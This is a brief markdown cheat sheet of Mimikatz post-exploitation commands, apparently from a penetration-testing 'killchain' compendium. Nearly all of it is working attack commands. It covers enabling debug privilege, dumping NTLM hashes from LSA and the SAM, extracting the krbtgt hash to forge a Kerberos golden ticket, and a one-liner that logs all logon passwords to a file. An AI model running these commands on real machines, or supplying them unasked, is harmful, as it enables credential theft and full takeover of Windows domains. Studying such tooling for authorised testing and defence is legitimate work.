killchain-compendium/post_exploitation/docs/mimikatz.md

Mimikatz Usage

• Check your privilege, boy

$ privilege::debug

Dump hashes

• NTLM

$ lsadump::lsa /patch

Dump Local Password hashes

token::elevate

lsadump::sam

Golden ticket

• Dump krbtgt hashes and create a ticket, ticket is saved as ticket.kirbi

$ lsadump::lsa /inject /name:krbtgt
$ kerberos::golden /user:<userid> /domain:<domainname> /sid:<number behinde domainname> /krbtgt:<NTLMhash> /id:<RID(dec)>

• use the golden ticket, open a new elevated prompt

misc::cmd

Oneliner

• Get the stuff

.\mimikatz "log host-42.log" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit